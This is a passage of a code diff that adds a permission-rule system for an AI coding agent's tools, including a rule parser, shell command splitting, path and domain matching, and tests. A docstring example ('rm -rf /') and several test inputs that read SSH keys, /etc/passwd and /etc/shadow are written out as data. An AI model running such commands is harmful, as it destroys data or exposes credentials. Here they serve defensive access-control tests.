file/network operation + // extracted from the command has a relevant rule. This ensures the PM is + // consulted (and the confirmation dialog shown) when Read/Edit/etc. rules + // would match equivalent shell commands. + if (ctx.toolName === 'run_shell_command' && ctx.command !== undefined) { + const cwd = pathCtx?.cwd ?? process.cwd(); + const ops = extractShellOperations(ctx.command, cwd); + if ( + ops.some((op) => { + const opMatchArgs = [ + op.virtualTool, + undefined, + op.filePath, + op.domain, + pathCtx, + undefined, + ] as const; + return allRules.some((rule) => matchesRule(rule, ...opMatchArgs)); + }) + ) { + return true; + } + } + + return false; + } + + // --------------------------------------------------------------------------- + // Session rule management + // --------------------------------------------------------------------------- + + /** + * Add a session-level allow rule (in-memory, cleared when the session ends). + * Used when the user clicks "Always allow for this session". + * + * @param raw - The raw rule string, e.g. "Bash(git status)". + */ + addSessionAllowRule(raw: string): void { + if (raw && raw.trim()) { + this.sessionRules.allow.push(parseRule(raw)); + } + } + + /** + * Add a session-level deny rule (in-memory, cleared when the session ends). + */ + addSessionDenyRule(raw: string): void { + if (raw && raw.trim()) { + this.sessionRules.deny.push(parseRule(raw)); + } + } + + /** + * Add a session-level ask rule (in-memory, cleared when the session ends). + */ + addSessionAskRule(raw: string): void { + if (raw && raw.trim()) { + this.sessionRules.ask.push(parseRule(raw)); + } + } + + // --------------------------------------------------------------------------- + // Persistent rule management + // --------------------------------------------------------------------------- + + /** + * Add a single persistent rule to the specified type. + * This modifies the in-memory rule set; the caller is responsible for + * persisting the change to disk (e.g. by writing to settings.json). + * + * @param raw - The raw rule string, e.g. "Bash(git *)" + * @param type - 'allow' | 'ask' | 'deny' + * @returns The parsed rule that was added. + */ + addPersistentRule(raw: string, type: RuleType): PermissionRule { + const rule = parseRule(raw); + // Deduplicate: skip if a rule with the same raw string already exists + const exists = this.persistentRules[type].some((r) => r.raw === rule.raw); + if (!exists) { + this.persistentRules[type].push(rule); + } + return rule; + } + + /** + * Remove a persistent rule matching the given raw string from the + * specified type. Removes the first match only. + * + * @returns true if a rule was removed, false if no matching rule was found. + */ + removePersistentRule(raw: string, type: RuleType): boolean { + const rules = this.persistentRules[type]; + const idx = rules.findIndex((r) => r.raw === raw); + if (idx !== -1) { + rules.splice(idx, 1); + return true; + } + return false; + } + + // --------------------------------------------------------------------------- + // Default mode + // --------------------------------------------------------------------------- + + /** + * Return the current default approval mode from config. + * This is used by the UI layer when `evaluate()` returns 'default' to + * determine the actual behavior (ask vs allow). + */ + getDefaultMode(): string { + return this.config.getApprovalMode?.() ?? 'default'; + } + + /** + * Update the persistent deny rules (called after migrating settings). + * Replaces the persistent deny rule set entirely. + */ + updatePersistentRules(ruleSet: Partial): void { + if (ruleSet.allow !== undefined) { + this.persistentRules.allow = ruleSet.allow; + } + if (ruleSet.ask !== undefined) { + this.persistentRules.ask = ruleSet.ask; + } + if (ruleSet.deny !== undefined) { + this.persistentRules.deny = ruleSet.deny; + } + } + + // --------------------------------------------------------------------------- + // Listing rules (for /permissions UI) + // --------------------------------------------------------------------------- + + /** + * Return all active rules with their types and scopes, suitable for + * display in the /permissions dialog. + */ + listRules(): RuleWithSource[] { + const result: RuleWithSource[] = []; + + const addRules = ( + rules: PermissionRule[], + type: RuleType, + scope: RuleScope, + ) => { + for (const rule of rules) { + result.push({ rule, type, scope }); + } + }; + + addRules(this.sessionRules.deny, 'deny', 'session'); + addRules(this.persistentRules.deny, 'deny', 'user'); + addRules(this.sessionRules.ask, 'ask', 'session'); + addRules(this.persistentRules.ask, 'ask', 'user'); + addRules(this.sessionRules.allow, 'allow', 'session'); + addRules(this.persistentRules.allow, 'allow', 'user'); + + return result; + } + + /** + * Return a summary of active allow rules (raw strings), including + * both session and persistent rules. Used for telemetry. + */ + getAllowRawStrings(): string[] { + return [ + ...this.sessionRules.allow.map((r) => r.raw), + ...this.persistentRules.allow.map((r) => r.raw), + ]; + } +} diff --git a/packages/core/src/permissions/rule-parser.ts b/packages/core/src/permissions/rule-parser.ts new file mode 100644 index 000000000000..8667603b4d51 --- /dev/null +++ b/packages/core/src/permissions/rule-parser.ts @@ -0,0 +1,865 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import path from 'node:path'; +import os from 'node:os'; +import picomatch from 'picomatch'; + +/** + * Normalize a filesystem path to use POSIX-style forward slashes. + * + * On Windows, `path.join()` produces backslash-separated paths, but the + * permission rule system and picomatch both work with forward slashes. + * This helper ensures consistent path separators across all platforms. + * + * Examples: + * toPosixPath('C:\\Users\\foo\\bar') → 'C:/Users/foo/bar' + * toPosixPath('/home/user/project') → '/home/user/project' (no-op on POSIX) + */ +function toPosixPath(p: string): string { + return p.replace(/\\/g, '/'); +} +import type { + PermissionCheckContext, + PermissionRule, + SpecifierKind, +} from './types.js'; + +// ───────────────────────────────────────────────────────────────────────────── +// Tool name aliases & categories +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Map of known tool name aliases to their canonical names. + * Covers all built-in tools plus common aliases (including Claude Code's "Bash"). + */ +export const TOOL_NAME_ALIASES: Readonly> = { + // Shell tool + run_shell_command: 'run_shell_command', + Shell: 'run_shell_command', + ShellTool: 'run_shell_command', + Bash: 'run_shell_command', // Claude Code compatibility + + // Edit tool — "Edit" is also a meta-category covering edit + write_file + edit: 'edit', + Edit: 'edit', + EditTool: 'edit', + + // Write File tool — also matched by "Edit" meta-category rules + write_file: 'write_file', + WriteFile: 'write_file', + WriteFileTool: 'write_file', + Write: 'write_file', + + // Read File tool — "Read" is also a meta-category covering read_file + grep + glob + list_directory + read_file: 'read_file', + ReadFile: 'read_file', + ReadFileTool: 'read_file', + Read: 'read_file', + + // Grep tool — also matched by "Read" meta-category rules + grep_search: 'grep_search', + Grep: 'grep_search', + GrepTool: 'grep_search', + search_file_content: 'grep_search', // legacy + SearchFiles: 'grep_search', // legacy display name + + // Glob tool — also matched by "Read" meta-category rules + glob: 'glob', + Glob: 'glob', + GlobTool: 'glob', + FindFiles: 'glob', // legacy display name + + // List Directory tool — also matched by "Read" meta-category rules + list_directory: 'list_directory', + ListFiles: 'list_directory', + ListFilesTool: 'list_directory', + ReadFolder: 'list_directory', // legacy display name + + // Memory tool + save_memory: 'save_memory', + SaveMemory: 'save_memory', + SaveMemoryTool: 'save_memory', + + // TodoWrite tool + todo_write: 'todo_write', + TodoWrite: 'todo_write', + TodoWriteTool: 'todo_write', + + // WebFetch tool + web_fetch: 'web_fetch', + WebFetch: 'web_fetch', + WebFetchTool: 'web_fetch', + + // WebSearch tool + web_search: 'web_search', + WebSearch: 'web_search', + WebSearchTool: 'web_search', + + // Task tool + task: 'task', + Task: 'task', + TaskTool: 'task', + + // Skill tool + skill: 'skill', + Skill: 'skill', + SkillTool: 'skill', + + // ExitPlanMode tool + exit_plan_mode: 'exit_plan_mode', + ExitPlanMode: 'exit_plan_mode', + ExitPlanModeTool: 'exit_plan_mode', + + // LSP tool + lsp: 'lsp', + Lsp: 'lsp', + LspTool: 'lsp', + + // Legacy edit tool name + replace: 'edit', + + // Agent (subagent) rules — "Agent" is a user-friendly alias for the Task tool. + // "Agent(Explore)" is parsed with toolName = "task" and specifier = "Explore" + Agent: 'task', +}; + +/** + * Shell tool canonical names. + */ +const SHELL_TOOL_NAMES = new Set(['run_shell_command']); + +/** + * File-reading tools — "Read" rules apply to all of these (best-effort). + * + * Per Claude Code docs: "Claude makes a best-effort attempt to apply Read rules + * to all built-in tools that read files like Grep and Glob." + */ +const READ_TOOLS = new Set([ + 'read_file', + 'grep_search', + 'glob', + 'list_directory', +]); + +/** + * File-editing tools — "Edit" rules apply to all of these. + * + * Per Claude Code docs: "Edit rules apply to all built-in tools that edit files." + */ +const EDIT_TOOLS = new Set(['edit', 'write_file']); + +/** + * WebFetch tools. + */ +const WEBFETCH_TOOLS = new Set(['web_fetch']); + +// ───────────────────────────────────────────────────────────────────────────── +// Tool name resolution & categorization +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Resolve a raw tool name or alias to its canonical name. + * Returns the input unchanged if it is not in the alias map + * (e.g. MCP tool names are kept as-is). + */ +export function resolveToolName(rawName: string): string { + return TOOL_NAME_ALIASES[rawName] ?? rawName; +} + +/** + * Determine the specifier kind for a given canonical tool name. + * This tells the matching engine which algorithm to use for the specifier. + */ +export function getSpecifierKind(canonicalToolName: string): SpecifierKind { + if (SHELL_TOOL_NAMES.has(canonicalToolName)) { + return 'command'; + } + if (READ_TOOLS.has(canonicalToolName) || EDIT_TOOLS.has(canonicalToolName)) { + return 'path'; + } + if (WEBFETCH_TOOLS.has(canonicalToolName)) { + return 'domain'; + } + return 'literal'; +} + +/** + * Check whether a given tool (by canonical name) is covered by a rule's tool name, + * taking meta-categories into account. + * + * "Read" → resolves to "read_file", but also covers grep_search, glob, list_directory + * "Edit" → resolves to "edit", but also covers write_file + */ +export function toolMatchesRuleToolName( + ruleToolName: string, + contextToolName: string, +): boolean { + if (ruleToolName === contextToolName) { + return true; + } + // "Read" → covers all READ_TOOLS + if (ruleToolName === 'read_file' && READ_TOOLS.has(contextToolName)) { + return true; + } + // "Edit" → covers all EDIT_TOOLS + if (ruleToolName === 'edit' && EDIT_TOOLS.has(contextToolName)) { + return true; + } + return false; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Rule parsing +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Parse a raw permission rule string into a PermissionRule object. + * + * Supported formats: + * "ToolName" → matches all invocations of the tool + * "ToolName(specifier)" → fine-grained matching via specifier + * + * Tool-specific specifier semantics: + * "Bash(git *)" → shell command glob + * "Read(./secrets/**)" → gitignore-style path match + * "Edit(/src/**\/*.ts)" → gitignore-style path match + * "WebFetch(domain:x.com)" → domain match + * "Agent(Explore)" → subagent type literal match (alias for Task) + * "mcp__server__tool" → MCP tool (no specifier needed) + */ +export function parseRule(raw: string): PermissionRule { + const trimmed = raw.trim(); + + // Handle legacy `:*` suffix (deprecated, equivalent to ` *`) + // e.g. "Bash(git:*)" → "Bash(git *)" + const normalized = trimmed.replace(/:(\*)/, ' $1'); + + const openParen = normalized.indexOf('('); + + if (openParen === -1) { + // Simple tool name rule (no specifier) + const canonicalName = resolveToolName(normalized); + return { + raw: trimmed, + toolName: canonicalName, + }; + } + + const toolPart = normalized.substring(0, openParen).trim(); + const specifier = normalized.endsWith(')') + ? normalized.substring(openParen + 1, normalized.length - 1) + : undefined; + + const canonicalName = resolveToolName(toolPart); + const specifierKind = specifier ? getSpecifierKind(canonicalName) : undefined; + + return { + raw: trimmed, + toolName: canonicalName, + specifier, + specifierKind, + }; +} + +/** + * Parse an array of raw rule strings into PermissionRule objects, + * silently skipping any empty entries. + */ +export function parseRules(raws: string[]): PermissionRule[] { + return raws.filter((r) => r && r.trim()).map(parseRule); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Minimum-scope rule generation +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Map from canonical tool names to the preferred display names used in + * permission rule strings. + * + * Read tools all map to "Read" (meta-category) so a single rule covers the + * entire family (read_file, grep_search, glob, list_directory). + * Edit tools map to "Edit" (meta-category) covering edit + write_file. + * Other tools use their individual display alias. + */ +const CANONICAL_TO_RULE_DISPLAY: Readonly> = { + // Read meta-category + read_file: 'Read', + grep_search: 'Read', + glob: 'Read', + list_directory: 'Read', + // Edit meta-category + edit: 'Edit', + write_file: 'Edit', + // Shell + run_shell_command: 'Bash', + // Web + web_fetch: 'WebFetch', + web_search: 'WebSearch', + // Agent / Skill + task: 'Task', + skill: 'Skill', + // Others + save_memory: 'SaveMemory', + todo_write: 'TodoWrite', + lsp: 'Lsp', + exit_plan_mode: 'ExitPlanMode', +}; + +/** + * Get the human-friendly display name to use in a permission rule string + * for a given canonical tool name. + * + * Falls back to the canonical name itself for unknown tools (e.g. MCP tools). + */ +export function getRuleDisplayName(canonicalToolName: string): string { + return CANONICAL_TO_RULE_DISPLAY[canonicalToolName] ?? canonicalToolName; +} + +/** + * Tools whose parameter path points to a **file** (as opposed to a directory). + * + * For these tools the minimum-scope rule uses `path.dirname()` so the rule + * covers the containing directory rather than a single file — e.g. + * read_file("/Users/alice/.secrets") → `Read(//Users/alice)` + * + * Directory-targeted tools (list_directory, grep_search, glob) already receive + * a directory path, so they use it as-is. + */ +const FILE_TARGETED_TOOLS = new Set(['read_file', 'edit', 'write_file']); + +/** + * Build minimum-scope permission rule strings from a permission check context. + * + * This is the **single, centralised** function for generating rules to be + * persisted when a user selects "Always Allow". Rules follow the format + * `DisplayName(specifier)` where the specifier narrows the rule to the + * minimum scope required by the current invocation. + * + * Specifier selection by tool category: + * - **path** tools (Read/Edit): + * File-targeted tools (read_file, edit, write_file) use the **parent + * directory** so the rule covers the whole directory, not a single file. + * Directory-targeted tools (grep, glob, ls) use the directory as-is. + * The `//` prefix denotes an absolute filesystem path in the rule grammar. + * - **domain** tools (WebFetch): `WebFetch(example.com)` + * - **command** tools (Bash): `Bash(command)` — note: Shell already generates + * its own fine-grained rules via `extractCommandRules`; this is a fallback. + * - **literal** tools (Skill/Task): `Skill(name)` / `Task(type)` + * + * If no specifier is available the rule falls back to the bare display name + * (e.g. `Read`), which matches **all** invocations of that tool category. + * + * @param ctx - The permission check context (built in coreToolScheduler L4). + * @returns Array of rule strings (usually a single element). + */ +export function buildPermissionRules(ctx: PermissionCheckContext): string[] { + const canonicalName = resolveToolName(ctx.toolName); + const displayName = getRuleDisplayName(canonicalName); + const kind = getSpecifierKind(canonicalName); + + switch (kind) { + case 'command': + // Shell commands — fallback only; shell.ts provides its own rules via + // extractCommandRules which are more granular (per-simple-command). + if (ctx.command) { + return [`${displayName}(${ctx.command})`]; + } + return [displayName]; + + case 'path': + if (ctx.filePath) { + // For file-targeted tools, scope to the containing directory; + // for directory-targeted tools the path is already a directory. + const dirPath = FILE_TARGETED_TOOLS.has(canonicalName) + ? path.dirname(ctx.filePath) + : ctx.filePath; + // Use the `//` prefix for absolute filesystem paths in rule grammar. + // Append `/**` so the gitignore-style glob matches all files in the + // directory recursively (picomatch uses `**` for recursive descent). + // resolvePathPattern("//foo/**") → "/foo/**" — round-trips correctly. + const specifier = dirPath.startsWith('/') + ? `/${dirPath}/**` + : `${dirPath}/**`; + return [`${displayName}(${specifier})`]; + } + return [displayName]; + + case 'domain': + if (ctx.domain) { + return [`${displayName}(${ctx.domain})`]; + } + return [displayName]; + + case 'literal': + default: + if (ctx.specifier) { + return [`${displayName}(${ctx.specifier})`]; + } + return [displayName]; + } +} + +// ───────────────────────────────────────────────────────────────────────────── +// Shell command matching +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Shell operator tokens that act as command boundaries. + * Ordered by length (longest first) for correct multi-char operator detection. + */ +const SHELL_OPERATORS = ['&&', '||', ';;', '|&', '|', ';']; + +/** + * Split a compound shell command into its individual simple commands + * by splitting on unquoted shell operators (&&, ||, ;, |, etc.). + * + * Returns an array of trimmed simple command strings. + * For simple commands (no operators), returns a single-element array. + * + * Examples: + * "git status && rm -rf /" → ["git status", "rm -rf /"] + * "ls -la | grep foo" → ["ls -la", "grep foo"] + * "echo 'a && b'" → ["echo 'a && b'"] (inside quotes) + * "a && b || c" → ["a", "b", "c"] + */ +export function splitCompoundCommand(command: string): string[] { + const commands: string[] = []; + let inSingle = false; + let inDouble = false; + let escaped = false; + let lastSplit = 0; + + for (let i = 0; i < command.length; i++) { + const ch = command[i]!; + + if (escaped) { + escaped = false; + continue; + } + if (ch === '\\') { + escaped = true; + continue; + } + if (ch === "'" && !inDouble) { + inSingle = !inSingle; + continue; + } + if (ch === '"' && !inSingle) { + inDouble = !inDouble; + continue; + } + if (inSingle || inDouble) { + continue; + } + + // Check for shell operators (longest match first) + for (const op of SHELL_OPERATORS) { + if (command.substring(i, i + op.length) === op) { + const segment = command.substring(lastSplit, i).trim(); + if (segment) { + commands.push(segment); + } + lastSplit = i + op.length; + i = lastSplit - 1; // -1 because the loop will i++ + break; + } + } + } + + // Add the last segment + const lastSegment = command.substring(lastSplit).trim(); + if (lastSegment) { + commands.push(lastSegment); + } + + return commands.length > 0 ? commands : [command]; +} + +/** + * Match a shell command against a glob pattern. + * + * Key semantics (from Claude Code docs): + * + * 1. `*` wildcard can appear at any position (head, middle, tail). + * + * 2. **Word boundary rule**: A space before `*` enforces a word boundary. + * - `Bash(ls *)` matches `ls -la` but NOT `lsof` + * - `Bash(ls*)` matches both `ls -la` and `lsof` + * + * 3. **Shell operator awareness**: Patterns don't match across operator + * boundaries. We extract only the first simple command before matching. + * + * 4. Without `*`, uses prefix matching for backward compatibility. + * `Bash(git commit)` matches `git commit -m "test"`. + * + * 5. `Bash(*)` is equivalent to `Bash` and matches any command. + */ +export function matchesCommandPattern( + pattern: string, + command: string, +): boolean { + // This function matches a single pattern against a single simple command. + // Compound command splitting is handled by the caller (PermissionManager). + + // Special case: lone `*` matches any single command + if (pattern === '*') { + return true; + } + + if (!pattern.includes('*')) { + // No wildcards: prefix matching (backward compat). + // "git commit" matches "git commit" and "git commit -m test" + // but NOT "gitcommit". + return command === pattern || command.startsWith(pattern + ' '); + } + + // Build regex from glob pattern with word-boundary semantics. + // + // We walk through the pattern character by character, building a regex. + // When we encounter `*`: + // - If preceded by a space: the space acts as a word boundary before `.*` + // - If preceded by non-space (or at start): `.*` with no boundary constraint + + let regex = '^'; + let pos = 0; + + while (pos < pattern.length) { + const starIdx = pattern.indexOf('*', pos); + if (starIdx === -1) { + // No more wildcards; rest is literal, then allow trailing args + regex += escapeRegex(pattern.substring(pos)); + break; + } + + // Add literal part before the `*` + const literalBefore = pattern.substring(pos, starIdx); + + if (starIdx > 0 && pattern[starIdx - 1] === ' ') { + // Word-boundary wildcard: "ls *" + // The literal includes the trailing space. The `*` matches + // anything after that space (including empty = just "ls"). + // But the key insight: "ls " was already committed, so + // `ls` alone without a trailing space should also match. + // + // Rewrite: literal without trailing space + (space + anything | end) + const literalWithoutTrailingSpace = literalBefore.slice(0, -1); + regex += escapeRegex(literalWithoutTrailingSpace); + regex += '( .*)?'; + } else { + // No word boundary: "ls*" → `ls` followed by anything + regex += escapeRegex(literalBefore); + regex += '.*'; + } + + pos = starIdx + 1; + } + + // If the pattern does NOT end with `*`, the regex already matches exactly. + // If it does end with `*`, the trailing `.*` handles it. + regex += '$'; + + try { + return new RegExp(regex).test(command); + } catch { + return command === pattern; + } +} + +/** + * Escape special regex characters. + */ +function escapeRegex(s: string): string { + return s.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); +} + +// ───────────────────────────────────────────────────────────────────────────── +// File path matching (gitignore-style) +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Resolve a path pattern from a permission rule specifier to an absolute + * glob pattern for matching. + * + * Path pattern prefixes (from Claude Code docs): + * + * | Prefix | Meaning | Example | + * |-----------|-----------------------------------|------------------------------| + * | `//path` | Absolute from filesystem root | `//Users/alice/secrets/**` | + * | `~/path` | Relative to home directory | `~/Documents/*.pdf` | + * | `/path` | Relative to project root | `/src/**\/*.ts` | + * | `./path` | Relative to current working dir | `./secrets/**` | + * | `path` | Relative to current working dir | `*.env` | + * + * WARNING: `/Users/alice/file` is NOT an absolute path — it's relative to + * the project root. Use `//Users/alice/file` for absolute paths. + */ +export function resolvePathPattern( + specifier: string, + projectRoot: string, + cwd: string, +): string { + if (specifier.startsWith('//')) { + // Absolute path from filesystem root: `//path` → `/path` + return specifier.substring(1); + } + + if (specifier.startsWith('~/')) { + // Relative to home directory + // Normalize homedir to forward slashes for cross-platform picomatch compatibility + return toPosixPath(path.join(os.homedir(), specifier.substring(2))); + } + + if (specifier.startsWith('/')) { + // Relative to project root (NOT absolute!) + return toPosixPath(path.join(projectRoot, specifier.substring(1))); + } + + if (specifier.startsWith('./')) { + // Relative to current working directory + return toPosixPath(path.join(cwd, specifier.substring(2))); + } + + // No prefix: relative to current working directory + return toPosixPath(path.join(cwd, specifier)); +} + +/** + * Match a file path against a gitignore-style path pattern. + * + * Uses picomatch for the actual glob matching, following gitignore semantics: + * - `*` matches files in a single directory (does not cross `/`) + * - `**` matches recursively across directories + * + * @param specifier - The raw specifier from the rule (e.g. "./secrets/**") + * @param filePath - The absolute path of the file being accessed + * @param projectRoot - The project root directory (absolute) + * @param cwd - The current working directory (absolute) + * @returns True if the file path matches the pattern + */ +export function matchesPathPattern( + specifier: string, + filePath: string, + projectRoot: string, + cwd: string, +): boolean { + const resolvedPattern = resolvePathPattern(specifier, projectRoot, cwd); + + // Normalize filePath to forward slashes for cross-platform picomatch compatibility. + // On Windows, incoming paths may use backslashes; picomatch expects forward slashes. + const normalizedFilePath = toPosixPath(filePath); + + // Use picomatch for gitignore-style matching + const isMatch = picomatch(resolvedPattern, { + dot: true, // Match dotfiles (e.g. .env) + nocase: false, // Case-sensitive (filesystem convention) + // Note: do NOT set bash: true — it makes `*` match across directories. + // Default picomatch behavior is gitignore-style: `*` = single dir, `**` = recursive. + }); + + return isMatch(normalizedFilePath); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Domain matching (for WebFetch) +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Match a domain against a WebFetch domain specifier. + * + * Specifier format: `domain:example.com` + * Matches the exact domain or any subdomain. + * + * Examples: + * matchesDomainPattern("domain:example.com", "example.com") → true + * matchesDomainPattern("domain:example.com", "sub.example.com") → true + * matchesDomainPattern("domain:example.com", "notexample.com") → false + */ +export function matchesDomainPattern( + specifier: string, + domain: string, +): boolean { + // Strip the "domain:" prefix if present + const pattern = specifier.startsWith('domain:') + ? specifier.substring(7).trim() + : specifier.trim(); + + if (!pattern || !domain) { + return false; + } + + const normalizedDomain = domain.toLowerCase(); + const normalizedPattern = pattern.toLowerCase(); + + // Exact match + if (normalizedDomain === normalizedPattern) { + return true; + } + + // Subdomain match: "sub.example.com" matches "example.com" + if (normalizedDomain.endsWith('.' + normalizedPattern)) { + return true; + } + + return false; +} + +// ───────────────────────────────────────────────────────────────────────────── +// MCP tool wildcard matching +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Match an MCP tool name against a pattern that may contain wildcards. + * + * Per Claude Code docs: + * "mcp__puppeteer" matches any tool provided by the puppeteer server + * "mcp__puppeteer__*" wildcard syntax, also matches all tools from the server + * "mcp__puppeteer__puppeteer_navigate" matches only that exact tool + */ +function matchesMcpPattern(pattern: string, toolName: string): boolean { + if (pattern === toolName) { + return true; + } + + // Wildcard: patterns ending with "*" match by prefix. + // e.g. "mcp__server__*" matches all tools from that server, + // "mcp__chrome__use_*" matches all "use_*" tools from chrome. + if (pattern.endsWith('*')) { + const prefix = pattern.slice(0, -1); // strip trailing "*" + return toolName.startsWith(prefix); + } + + // Server-level match: "mcp__puppeteer" matches "mcp__puppeteer__anything" + // Only when the pattern has exactly 2 parts (mcp + server) and the tool has 3+ + const patternParts = pattern.split('__'); + const toolParts = toolName.split('__'); + if ( + patternParts.length === 2 && + toolParts.length >= 3 && + patternParts[0] === toolParts[0] && + patternParts[1] === toolParts[1] + ) { + return true; + } + + return false; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Unified rule matching +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Options for path-based matching, providing the directory context needed + * to resolve relative path patterns. + */ +export interface PathMatchContext { + /** The project root directory (absolute path). */ + projectRoot: string; + /** The current working directory (absolute path). */ + cwd: string; +} + +/** + * Check whether a parsed PermissionRule matches a given context. + * + * Matching logic depends on the tool and specifier type: + * + * 1. **Tool name matching**: + * - "Read" rules also match grep_search, glob, list_directory (meta-category). + * - "Edit" rules also match write_file (meta-category). + * - MCP tools support wildcard patterns (e.g. "mcp__server__*"). + * + * 2. **No specifier**: matches any invocation of the tool. + * + * 3. **With specifier** (depends on specifierKind): + * - `command`: Shell glob matching with word boundary & operator awareness + * - `path`: Gitignore-style file path matching (*, **) + * - `domain`: Domain matching for WebFetch + * - `literal`: Exact string match (for Agent subagent names, etc.) + * + * @param rule - The parsed permission rule + * @param toolName - The canonical tool name being checked + * @param command - Shell command (for Bash rules) + * @param filePath - Absolute file path (for Read/Edit rules) + * @param domain - Domain (for WebFetch rules) + * @param pathContext - Project root and cwd for resolving relative path patterns + */ +export function matchesRule( + rule: PermissionRule, + toolName: string, + command?: string, + filePath?: string, + domain?: string, + pathContext?: PathMatchContext, + specifier?: string, +): boolean { + const canonicalCtxToolName = resolveToolName(toolName); + + // ── MCP tool matching ──────────────────────────────────────────────── + if ( + rule.toolName.startsWith('mcp__') || + canonicalCtxToolName.startsWith('mcp__') + ) { + return matchesMcpPattern(rule.toolName, canonicalCtxToolName); + } + + // ── Standard tool name matching (with meta-category support) ───────── + if (!toolMatchesRuleToolName(rule.toolName, canonicalCtxToolName)) { + return false; + } + + // ── No specifier → match any invocation of the tool ────────────────── + if (!rule.specifier) { + return true; + } + + // ── Specifier matching (kind-dependent) ────────────────────────────── + const kind = rule.specifierKind ?? getSpecifierKind(rule.toolName); + + switch (kind) { + case 'command': { + if (command === undefined) { + return false; + } + return matchesCommandPattern(rule.specifier, command); + } + + case 'path': { + if (filePath === undefined) { + return false; + } + const ctx = pathContext ?? { + projectRoot: process.cwd(), + cwd: process.cwd(), + }; + return matchesPathPattern( + rule.specifier, + filePath, + ctx.projectRoot, + ctx.cwd, + ); + } + + case 'domain': { + if (domain === undefined) { + return false; + } + return matchesDomainPattern(rule.specifier, domain); + } + + case 'literal': + default: { + // Literal/exact matching (for Skill names, Agent subagent types, etc.) + const value = command ?? specifier; + if (value !== undefined) { + return value === rule.specifier; + } + return false; + } + } +} diff --git a/packages/core/src/permissions/shell-semantics.test.ts b/packages/core/src/permissions/shell-semantics.test.ts new file mode 100644 index 000000000000..a58be8c14bd7 --- /dev/null +++ b/packages/core/src/permissions/shell-semantics.test.ts @@ -0,0 +1,414 @@ +/** + * @license + * Copyright 2025 Qwen team + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect } from 'vitest'; +import { extractShellOperations } from './shell-semantics.js'; +import type { ShellOperation } from './shell-semantics.js'; + +const CWD = '/home/user/project'; + +// Helper: sort ops for stable comparison +function sorted(ops: ShellOperation[]) { + return [...ops].sort((a, b) => + `${a.virtualTool}:${a.filePath ?? ''}:${a.domain ?? ''}`.localeCompare( + `${b.virtualTool}:${b.filePath ?? ''}:${b.domain ?? ''}`, + ), + ); +} + +describe('extractShellOperations', () => { + // ── Empty / no-op ────────────────────────────────────────────────────────── + + it('returns [] for empty string', () => { + expect(extractShellOperations('', CWD)).toEqual([]); + }); + + it('returns [] for whitespace', () => { + expect(extractShellOperations(' ', CWD)).toEqual([]); + }); + + it('returns [] for unknown commands', () => { + expect(extractShellOperations('frobnicate /etc/passwd', CWD)).toEqual([]); + }); + + it('returns [] for env-var assignments', () => { + expect(extractShellOperations('FOO=bar', CWD)).toEqual([]); + }); + + // ── cat ──────────────────────────────────────────────────────────────────── + + it('cat: absolute path', () => { + const ops = extractShellOperations('cat /etc/passwd', CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/passwd' }, + ]); + }); + + it('cat: relative path resolved against cwd', () => { + const ops = extractShellOperations('cat secrets.txt', CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: `${CWD}/secrets.txt` }, + ]); + }); + + it('cat: ~ expansion', () => { + const ops = extractShellOperations('cat ~/.ssh/id_rsa', CWD); + expect(ops[0]?.filePath).toMatch(/\/\.ssh\/id_rsa$/); + }); + + it('cat: multiple files', () => { + const ops = extractShellOperations('cat /a/b /c/d', CWD); + expect(sorted(ops)).toEqual([ + { virtualTool: 'read_file', filePath: '/a/b' }, + { virtualTool: 'read_file', filePath: '/c/d' }, + ]); + }); + + it('cat: flags are ignored', () => { + const ops = extractShellOperations('cat -n /etc/hosts', CWD); + expect(ops).toEqual([{ virtualTool: 'read_file', filePath: '/etc/hosts' }]); + }); + + it('cat: quoted path', () => { + const ops = extractShellOperations("cat '/etc/my file.conf'", CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/my file.conf' }, + ]); + }); + + // ── head / tail ──────────────────────────────────────────────────────────── + + it('head: -n value not treated as path', () => { + const ops = extractShellOperations('head -n 10 /var/log/syslog', CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: '/var/log/syslog' }, + ]); + }); + + it('tail: multiple files with flag', () => { + const ops = extractShellOperations('tail -c 100 /a /b', CWD); + expect(sorted(ops)).toEqual([ + { virtualTool: 'read_file', filePath: '/a' }, + { virtualTool: 'read_file', filePath: '/b' }, + ]); + }); + + // ── diff ─────────────────────────────────────────────────────────────────── + + it('diff: two files', () => { + const ops = extractShellOperations('diff /old /new', CWD); + expect(sorted(ops)).toEqual([ + { virtualTool: 'read_file', filePath: '/new' }, + { virtualTool: 'read_file', filePath: '/old' }, + ]); + }); + + // ── grep ─────────────────────────────────────────────────────────────────── + + it('grep: first positional is pattern, rest are files', () => { + const ops = extractShellOperations('grep password /etc/shadow', CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/shadow' }, + ]); + }); + + it('grep: -r becomes list_directory', () => { + const ops = extractShellOperations('grep -r secret /etc', CWD); + expect(ops).toEqual([{ virtualTool: 'list_directory', filePath: '/etc' }]); + }); + + it('grep: -e flag shifts all positionals to paths', () => { + const ops = extractShellOperations( + 'grep -e password /etc/passwd /etc/shadow', + CWD, + ); + expect(sorted(ops)).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/passwd' }, + { virtualTool: 'read_file', filePath: '/etc/shadow' }, + ]); + }); + + it('grep: -f patternfile — positionals are file paths', () => { + const ops = extractShellOperations('grep -f patterns.txt /etc/hosts', CWD); + // -f consumes patterns.txt; /etc/hosts is the only positional → first positional skipped? No. + // With -f, hasPatternFlag=true, so all positionals are file paths (no slice(1)) + expect(ops).toEqual([{ virtualTool: 'read_file', filePath: '/etc/hosts' 